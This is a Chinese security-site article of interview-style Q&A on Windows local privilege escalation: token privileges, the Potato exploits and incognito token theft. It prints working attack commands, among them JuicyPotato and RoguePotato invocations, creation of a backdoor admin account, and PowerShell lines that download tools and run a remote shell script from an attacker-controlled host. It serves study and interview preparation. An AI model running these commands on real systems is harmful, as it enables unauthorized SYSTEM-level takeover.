freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Windows系列本地提权面试相关问题汇总
2022-06-07 17:18:53
所属地 山东省

前言

大家好哇!现在这段时间,经过hvv一面的小伙伴也开始准备厂商的二面了,于是我"缝合"了大量有关于windows系列的本地提权面试的相关问题,并且做了一些整理分享给大家!希望大家面试和入门顺利!

提权基础原理

九大权限是什么?

答:答案如下图所示
权限描述
SeImpersonatePrivilege身份验证后模拟客户端
SeAssignPrimaryTokenPrivilege替换一个进程级令牌
SeTcbPrivilege以操作系统方式执行
SeBackupPrivilege备份文件和目录
SeRestorePrivilege还原文件和目录
SeCreateTokenPrivilege创建令牌对象
SeLoadDriverPrivilege加载和卸载设备驱动程序
SeTakeOwnershipPrivilege取得文件或其他对象的所有权
SeDebugPrivilege调试程序

"烂土豆"是什么?

答:它是通过欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端;接着对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的;只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌(一般大多数的服务型账户,例如:IIS、MSSQL....具有该权限,大多数用户级别的账户没有该权限)

补充:烂土豆(Rotten Potato) MS16-075提权是一个本地提权,只针对本地用户,不支持域用户

"烂土豆"的前提条件是什么?

答:通过烂土豆提权的重点是模拟令牌,在提权的过程中,我们最好已经获得了一个具有SeImpersonate权限或其他同等权限的账户,通常Windows中的许多服务具有此权限(IIS和SQL Server.....)

补充:IIS或SQL Server的用户通常具有SeImpersonatePrivilegeSeAssignPrimaryPrivilege权限;Backup service用户通常具有SeBackupPrivilegeSeRestorePrivilege权限

"烂土豆"的优点是什么?

  1. 不会存在无法利用的情况

  2. Win系统全版本通杀

  3. 提权速度快,不用像hot potato那样有时候需要等Windows更新才能使用

BITS是什么?

答:BITS(后台智能传送服务)是一个Windows组件,它可以在前台或后台异步传输文件,为保证其他网络应用程序获得响应而调整传输速度,并在重新启动计算机或重新建立网络连接之后自动恢复文件传输

补充:系统管理员可以通过BITS从HTTP Web服务器和SMB文件共享下载与上传文件;关键是BIT实现了IMarshal接口并允许代理声明强制NTLM身份验证

CLSID密钥是什么?

答:CLSID是标识COM类对象的全局唯一标识符。 如果服务器或容器允许链接到其嵌入对象,则需要为每个支持的对象类注册一个CLSID

Win九大权限解析


SeImpersonatePrivilege

  1. 管理员或者本地的服务账户

  2. 由服务控制管理器启动的服务

  3. 由组件对象模型 (COM) 基础结构启动的并配置为在特定帐户下运行的COM服务器

  4. IIS与SqlServer用户

如果攻击者获得了该系统的权限时,就代表了我们可以通过token窃取实现降权或提权;即盗取当前计算机上的其他令牌供攻击者使用

利用思路

  • 利用NTLM Relay to Local Negotiation获得System用户的Token 可使用开源工具Rotten Potato、lonelypotato或者Juicy Potato

  • 通过WinAPI CreateProcessWithToken创建新进程,传入System用户的Token 具有SeImpersonatePrivilege权限才能创建成功

  • 该Token具有System权限

SeAssignPrimaryTokenPrivilege

  1. 利用NTLM Relay to Local Negotiation获得System用户的Token

  2. 通过WinAPI CreateProcess创建一个挂起的新进程,参数设置为CREATE_SUSPENDED

  3. 通过WinAPI NtSetInformationProcess将新进程的Token替换为System用户的Token

  4. 该Token具有System权限

利用原理:跟SeImpersonatePrivilege权限的利用原理类似,都是通过NTLM Relay to Local Negotiation来获取system权限的token,区别是获取token后利用system权限的token创建新的进程,如果开启SeImpersonate权限,调用CreateProcessWithToken,传入System权限的Token,创建的进程为System权限,或者如果开启SeAssignPrimaryToken权限,调用CreateProcessAsUser,传入System权限的Token,创建的进程为System权限。

利用场景:拿到iis或者sqlserver用户的权限,使用juicypotato工具进行提权到system

SeTcbPrivilege

如果攻击者获得了该系统的权限时,就相当于获得了该系统的最高权限....

攻击方法:

调用LsaLogonUser(创建交互式登录会话)获得Token

将该Token添加至Local System account组(核心的,本地系统帐户)

利用该Token赋予的System权限

SeBackupPrivilege

  1. backup service

  2. 管理员

如果攻击者获得了该系统的权限时,读取注册表中HKEY_LOCAL_MACHINE\SAMHKEY_LOCAL_MACHINE\SECURITYHKEY_LOCAL_MACHINE\SYSTEM文件,然后放在mimikatz里面进行破解得到密码;mimikatz命令:SAM文件获取与解密

补充:这个权限用来实现备份操作,对当前系统任意文件具有读权限

SeRestorePrivilege

如果攻击者获得了该系统的权限时(即写入权限),参考映像劫持

补充:不过在win10中不能用

SeCreateTokenPrivilege

攻击方法:

  1. 通过WinAPI ZwCreateToken创建Primary Token

  2. 将Token添加至local administrator组

  3. 该Token具有System权限

如果攻击者获得了该系统的权限时,可以创建windows令牌或者说token,win10中一般用户没有这个权限

SeLoadDriverPrivilege

攻击方法:

  1. 加载驱动文件Capcom.sys

  2. Capcom.sys存在漏洞,系统加载后,可从普通用户权限提升至System权限;利用代码链接

  3. 获得System权限

SeTakeOwnershipPrivilege

原理:与SeRestorePrivilege相同,对系统上的任何文件具有写的权限

利用思路

方案一:

获得SeTakeOwnershipPrivilege权限,修改注册表HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

劫持exe文件的启动

实现提权或是作为后门

方案二:

获得SeTakeOwnershipPrivilege权限,向任意路径写入dll文件

实现dll劫持

实现提权或是作为后门

SeDebugPrivilege

攻击方法

  1. 找到system权限的进程

  2. dll注入

  3. 获得权限

如果攻击者获得了该系统的权限时,可以实现dll注入的目的

参考:资料

"烂土豆"提权

MSF-烂土豆

工具链接:GitHub地址

上传烂土豆到靶机上,通过msf获取meterpreter 查看是否具有Selmpersonate权限

meterpreter > getprivs

#或者服务器的cmd下键入以下命令 whoami /all whoami /priv

再使用incognito执行烂土豆,欺骗得到system令牌

use incognito list_tokens -u execute -cH -f c:\wmpub\potato.exe

通过MSF令牌模拟system的令牌

meterpreter > execute -f potato.exe -Hc meterpreter > list_tokens -u

impersonate_token "NT AUTHORITY\SYSTEM"(模拟成功即可使用)

juicy potato-多汁土豆

影响版本:juicy potato适用<Win 10(部分版本)和Windows Server 2019

方案一

工具链接:GitHub地址

whoami /all whoami priv

//查看本地用户的权限,是否具有SeImpersonateSeAssignPrimaryToken权限

netstat -abno//查看RPC默认端口是否为135

C:\wmpub\JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {CLSID}//不同操作系统选择可用的CLSID

如果该提权成功,即可获得system权限的shell,之后就是打开任务管理器,关闭explore任务后,再次开启explore任务得到一个system权限的桌面

补充

如果开启SeImpersonate权限,juicypotato的参数可以使用-t t 如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u 如果均开启,可以选择-t * 如果均未开启,那么无法提权。

若rpc服务被修改,则使用-n 参数指定修改后的端口,如 -n 111

netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow//添加防火墙规则,允许135端口入站

方案二

工具链接:GitHub地址

C:\juicyPotato_32.exe -p whoami

//执行命令 execute -f juicypotato.exe -p net user test 123456 execute -f juicypotato.exe -p net localgroup administrators test /add

补充:Juicy Potato比Rotten Potato使用条件更加的宽松;因为ohpe和解码器在Windows构建审查期间存在配置问题,导致BITS被故意禁用并占用了端口6666

Rotten Potato

影响版本:Rotten Potato适用<Win 10(部分版本)和Win Server 19版本

工具链接:GitHub地址

原理:

1.通过NT AUTHORITY/SYSTEM运行的RPC将尝试通过CoGetInstanceFromIStorage API调用向我们的本地代理进行身份验证

2.135 端口的RPC将用于回复第一个RPC正在执行的所有请求充当模板

3.AcceptSecurityContextAPI调用以在本地模拟NT AUTHORITY/SYSTEM

攻击流程

  1. 首先使用CoGetInstanceFromIStorage API接口调用欺骗RPC(远程过程调用);对代理进行身份验证.在此调用中指定了代理 IP/端口

  2. 通过RPC向代理发送NTLM协商包(协商包被修改为强制本地身份验证)

  3. 代理依赖的NTLM协商到RPC在端口135被用作模板;同时开始执行对AcceptSecurityContext的调用以强制进行本地身份验证

  4. 通过RPC 135AcceptSecurityContext用NTLM Challenge回复

  5. 将两个数据包的内容混合以匹配本地协商并转发到RPC

  6. RPC使用发送到AcceptSecurityContext(Relay NTLM Auth)的NLTM Auth包进行响应,开始执行模拟NT AUTHORITY/SYSTEM

Lovely Potato

Lonely Potato是Rotten Potato的改编版,不依赖meterpreter和Decoder制作的"隐身"模块

Rogue Potato

工具链接:GitHub地址

影响版本:Rogue Potato版本>= Win 10(部分版本)和Win Server 19

原理:

Rogue Potato通过指定远程 IP(攻击者 IP)指示 DCOM 服务器执行远程 OXID 查询在远程 IP 上,设置一个"socat"侦听器,用于将 OXID 解析请求重定向到一个假的OXID RPC 服务器伪造的OXID RPC 服务器实现了ResolveOxid2服务器过程;该过程将指向受控命名管道[ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper]DCOM 服务器将连接到 RPC 服务器以执行IRemUnkown2接口调用。通过连接到命名管道,将执行"身份验证回调",我们可以通过 RpcImpersonateClient()调用模拟调用者;

​然后,令牌窃取者可以进行如下步骤;

​1.获取rpcss服务的PID;  
2.打开进程,列出所有句柄,并为每个句柄尝试复制它并获取句柄类型;  
3.如果句柄类型为"Token"且令牌所有者为 SYSTEM,通过尝试CreatProcessAsUser()或CreateProcessWithToken()模拟并启动进程;

补充:当我们运行RoguePotato.exe,我们可以让它在本地机器上启动该服务,或者我们可以在自己控制的 Windows 机器上启动它并让它到达那里如果我想在本地机器上使用解析器,我需要在我的机器上创建一个隧道,该隧道在 TCP 135 上接收并重定向回目标主机上的解析器

1.powershell.exe (new-object net.webclient).downloadfile('http://主机IP:端口/RoguePotato.exe', 'C:\tmp\RoguePotato.exe')powershell.exe (new-object net.webclient).downloadfile('http://主机IP:端口/RogueOxidResolver.exe', 'C:\tmp\RogueOxidResolver.exe')

2..\RoguePotato.exe -r 主机IP -c "{B91D5831-B1BD-4608-8198-D72E155020F7}" -e "powershell -c iex( iwr http://主机IP:端口/shell.ps1 -UseBasicParsing )" -l 9999

3.echo "IEX( IWR http://主机IP:端口/shell1.ps1 -UseBasicParsing)" | iconv -t utf-16le|base64 -w 0

4..\RoguePotato.exe -r 1主机IP -e "cmd.exe /c powershell -EncodedCommand Base64加密" -l 9999//无法直接使用powershell命令执行上传shell,所以需要转换为base64值进行提权

hot potato

文章链接:GitHub地址

影响版本:hot potato适用=Win7、8、10、Server 08和Server 12

漏洞利用原理:

1.本地NBNS Spoofer:冒充名称解析,强制系统下载恶意WAPD配置

2.伪造WPAD代理服务器:部署malicios WAPD配置,强制系统进行NTLM认证

3.HTTP ->SMB NTLM中继:将WAPD NTLM令牌中继到SMB服务以创建提升的进程

Token窃取之降权与提权

windows中Token有两种:

  • Delegation Token(授权令牌):用于交互会话登录
  • Impersonation Token(模拟令牌):用于非交互登录

当我们拿到一台主机进行Token提权的时候,可以查看目标主机是否具有高权限用户的Token,如果有的话就有可能直接提权到Administrator权限;

我们可以通过Incognito工具来对Token进行提权与降权的攻击;使用命令如下图所示:

提权命令

incognito.exe list_tokens -u
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

降权命令

incognito.exe list_tokens -u
incognito.exe execute -c "DESKTOP-RMP8TTT\test" cmd.exe

参考文章:地址链接

小结

这次的分享就到此为止了,下次给大家介绍Linux系统的提权方法。eg:脏牛提权,内核提权,SUID提权,sudo提权.....希望大家可以学到东西,共同进步!

# 本地提权 # 提权漏洞 # Potato提权 # Windows提权 # 系统提权
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录